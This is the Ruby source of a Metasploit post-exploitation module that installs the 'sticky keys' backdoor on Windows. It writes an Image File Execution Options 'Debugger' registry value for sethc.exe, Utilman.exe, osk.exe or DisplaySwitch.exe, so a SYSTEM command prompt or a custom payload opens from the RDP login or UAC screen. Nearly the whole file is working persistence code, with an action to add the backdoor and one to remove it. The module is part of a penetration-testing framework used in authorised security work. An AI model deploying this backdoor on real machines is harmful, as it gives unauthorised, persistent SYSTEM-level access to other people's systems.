125 lines
4.1 KiB
Ruby
125 lines
4.1 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Post
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include Msf::Post::File
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include Msf::Post::Windows::Registry
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include Msf::Post::Windows::Priv
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DEBUG_REG_PATH = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options'
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DEBUG_REG_VALUE = 'Debugger'
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Sticky Keys Persistance Module',
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'Description' => %q{
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This module makes it possible to apply the 'sticky keys' hack to a session with appropriate
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rights. The hack provides a means to get a SYSTEM shell using UI-level interaction at an RDP
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login screen or via a UAC confirmation dialog. The module modifies the Debug registry setting
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for certain executables.
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The module options allow for this hack to be applied to:
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SETHC (sethc.exe is invoked when SHIFT is pressed 5 times),
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UTILMAN (Utilman.exe is invoked by pressing WINDOWS+U),
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OSK (osk.exe is invoked by pressing WINDOWS+U, then launching the on-screen keyboard), and
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DISP (DisplaySwitch.exe is invoked by pressing WINDOWS+P).
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The hack can be added using the ADD action, and removed with the REMOVE action.
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Custom payloads and binaries can be run as part of this exploit, but must be manually uploaded
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to the target prior to running the module. By default, a SYSTEM command prompt is installed
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using the registry method if this module is run without modifying any parameters.
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},
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'Author' => ['OJ Reeves'],
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'Platform' => ['win'],
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'SessionTypes' => ['meterpreter', 'shell'],
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'Actions' => [
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['ADD', {'Description' => 'Add the backdoor to the target.'}],
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['REMOVE', {'Description' => 'Remove the backdoor from the target.'}]
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],
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'References' => [
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['URL', 'https://social.technet.microsoft.com/Forums/windows/en-US/a3968ec9-5824-4bc2-82a2-a37ea88c273a/sticky-keys-exploit'],
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['URL', 'http://carnal0wnage.attackresearch.com/2012/04/privilege-escalation-via-sticky-keys.html']
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],
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'DefaultAction' => 'ADD'
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))
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register_options([
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OptEnum.new('TARGET', [true, 'The target binary to add the exploit to.', 'SETHC', ['SETHC', 'UTILMAN', 'OSK', 'DISP']]),
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OptString.new('EXE', [true, 'Executable to execute when the exploit is triggered.', '%SYSTEMROOT%\system32\cmd.exe'])
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], self.class)
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end
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#
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# Returns the name of the executable to modify the debugger settings of.
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#
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def get_target_exe_name
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case datastore['TARGET']
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when 'UTILMAN'
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'Utilman.exe'
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when 'OSK'
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'osk.exe'
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when 'DISP'
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'DisplaySwitch.exe'
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else
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'sethc.exe'
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end
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end
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#
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# Returns the the key combinations required to invoke the exploit once installed.
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#
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def get_target_key_combo
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case datastore['TARGET']
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when 'UTILMAN'
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'WINDOWS+U'
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when 'OSK'
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'WINDOWS+U, then launching the on-screen keyboard'
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when 'DISP'
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'WINDOWS+P'
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else
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'SHIFT 5 times'
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end
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end
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#
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# Returns the full path to the target's registry key based on the current target
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# settings.
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#
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def get_target_exe_reg_key
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"#{DEBUG_REG_PATH}\\#{get_target_exe_name}"
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end
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#
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# Runs the exploit.
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#
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def run
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unless is_admin?
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fail_with(Failure::NoAccess, 'The current session does not have administrative rights.')
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end
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print_good("Session has administrative rights, proceeding.")
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target_key = get_target_exe_reg_key
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if action.name == 'ADD'
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command = expand_path(datastore['EXE'])
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registry_createkey(target_key)
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registry_setvaldata(target_key, DEBUG_REG_VALUE, command, 'REG_SZ')
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print_good("'Sticky keys' successfully added. Launch the exploit at an RDP or UAC prompt by pressing #{get_target_key_combo}.")
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else
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registry_deletekey(target_key)
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print_good("'Sticky keys' removed from registry key #{target_key}.")
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end
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end
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end
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